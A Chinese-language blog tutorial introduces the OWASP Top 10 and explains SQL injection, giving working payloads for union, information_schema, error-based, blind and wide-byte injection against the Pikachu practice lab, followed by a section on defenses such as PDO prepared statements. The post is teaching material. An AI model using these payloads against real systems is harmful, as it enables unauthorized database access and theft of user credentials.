OWASP TOP10之sql注入简述

⭕首先,什么是OWASP Top10?

    OWASP(Open Web Application Security Project开放式Web应用程序安全项目)是一个开源的、非盈利的全球性安全组织,致力于应用软件的安全研究。

    OWASP项目最具权威的就是其“十大安全漏洞列表”,OWASP Top10不是官方文档或标准,而只是一个被广泛采用的意识文档,被用来分类网络安全漏洞的严重程度,目前被许多漏洞奖励平台和企业安全团队评估错误报告。这个列表总结了Web应用程序最可能、最常见、最危险的十大漏洞,可以帮助IT公司和开发团队规范应用程序开发流程和测试流程,提高Web产品的安全性。

    OWASP Top10中WEB漏洞占百分之70,其他(系统,APP等)占百分之30(估计),所以说,要想在网络安全领域有所作为,OWASP Top10一定是你绕不开的必修课。

⭕OWASP Top10排名

✅(1)SQL 注入

✅(2)失效的身份认证和会话管理

✅(3)跨站脚本攻击 XSS

✅(4)直接引用不安全的对象

✅(5)安全配置错误

✅(6)敏感信息泄露

✅(7)缺少功能级的访问控制

✅(8)跨站请求伪造 CSRF

✅(9)使用含有已知漏洞的组件

✅(10)未验证的重定向和转发

因为网络安全的不确定性,所以OWASP Top10排名也在逐年发生着变化。

⭕sql注入

🔴1、什么是sql注入?

    SQL注入式攻击技术,一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因,是由于程序员在编写Web程序时,没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息,甚至执行危险的代码或系统命令。

    虽然SQL注入攻击技术早已出现,但是时至今日仍然有很大一部分网站存在SQL注入漏洞。由于SQL漏润存在的普遍性,因此SQL入侵攻击技术往往成为黑客入侵攻击网站渗透内部服务的首选技术,其危害性非常大。

    OWASP Top10虽然常年有更改,但sql注入基本一直位于榜首,其优势在于极低的使用代价以及极高的危害性,地位可见一斑。

🔴2、sql注入原理

    注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本、平台无关)。

    总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。

    为了发动注入攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:

    🔹确定Web应用程序所使用的技术

        注入式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。

    🔹确定所有可能的输入方式

        Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。

    🔹查找可以用于注入的用户输入

        在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获。

🔴3、注入分类

🔹1.数字型

🔹2.字符型

🔹3.搜索型

🔹4.XX型(少见)

🔴4、注入提交类型

🔹1.get型(最好利用)

🔹2.post型

🔹3.cookie型

🔹4.referer,user_agent等(少见)

🔴5、手工寻找SQL注入点

寻找类似的网页链接

http://www.*****.com/***.asp?id=xx (ASP注入)

或者下面的链接。

http://www.*****.com/***.php?id=xx (php注入)

http://www.*****.com/***.jsp?id=xx (jsp注入)

http://www.*****.com/***.aspx?id=xx (aspx注入)

http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,

工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)

http://www.*****.com/index/new/id/8 伪静态

http://www. *****.com/index/new/php-8.html伪静态

其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。

🔴6、测试注入点

🔹 (1)单引号法

直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

🔹 (2)1=1,1=2法

有时在链接后接单引号显示错误,这并不代表页面不存在漏洞,此时可以在链接最后加 and 1=1,如果返回正确页面,再换成1=2测试,如果报错,则大概率存在注入漏洞。

🔴7、注入攻击方式与类型

🔹(1)union注入

合并两个或多个查询

X'union select XX,XX from member where id=1#报错,因为子查询字段不能超过主查询字段(要符合)

在SQL语句后输入order by来确定主查询字段:

a' order by 4#%

返回 UNknown column '4' in order clause'

a' order by 3#%

返回 没有搜索到你输入的信息

测试出主查询有3个字段。

接着输入X' union select X(),X(),X()#  (X)为想得到的信息

🔹 (2)information_schema注入

information_schema数据库是MySQL(5.0以上)系统自带的数据库。

其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

,使用order by来判断查询的字段。先找出数据库的名称,输入XX' union select database(),user(),3#%得到反馈,

判断数据库名称.如pikachu

获取pikachu数据库的表名,输入:

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入:

k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

最后获取字段值的内容,输入:

kobe'union select username ,password,3 from users#%

🔹 (3)基于函数报错注入

原因:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

三个常用来报错的函数

  updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

  extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.

  floor():MYSQL中用来取整的函数.

a 爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

b 爆数据库当前用户

k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 

c 爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

d 爆表

获取数据库表名,输入:

k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

输入

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

更改limit后面的数字limit 0完成表名遍历。

🔹 (4)insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

🔹 (5)update注入

与insert注入基本相同 区别在于update用于用户登陆端,insert用于用于用户注册端。

' or updatexml(0,concat(0x7e,(database())),0) or'

🔹 (6)delete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:

delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

🔹 (7)Http Header注入

🔹 (8)cookie注入

Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,

但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’

观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload

'and updatexml (1,concat(0x7e,database()),0)#

🔹(9)盲注

在我们的注入语句被带入数据库查询但却什么都没有返回的情况应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

布尔型:按照之前的思路构造一个SQL拼接:

vince' and extractvalue(0,concat(0x7e,version()))# 输入后根据返回的信息判断之前的思路不再适用。

输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。

注:substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。

输入语句:select length(database())<xx;判断表名长度。

按照之前逻辑,输入sql语句: vince' and ascii(substr(database(),1,1))=112#,通过这个方法,

就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据。

但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。

时间型,基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#,输入后,如果猜测正确,那么就会响应10秒,如果错误会立刻返回错误。输入:

vince' and if(substr(database(),1,1)='p',sleep(10),null)#

🔹(10)宽字节

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。

还有很多函数有类似的作用如:

addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。

目前大多数的主机都打开了这个选项

其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,

则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.

小提示: 数字和字母占一个字节,汉字占两个字节。

🔴8、sql注入防御

代码层面

1.对输入进行严格的转义和过滤

2.使用参数化(Parameterized)

PHP防范推荐方法:PDO预处理——PDO预处理能防止SQL注入的原因

       没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。

网络层面

1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

2.云端防护(360网站卫士,阿里云盾等)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,033评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,725评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,473评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,846评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,848评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,691评论 1 282
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,053评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,700评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,856评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,676评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,787评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,430评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,034评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,990评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,218评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,174评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,526评论 2 343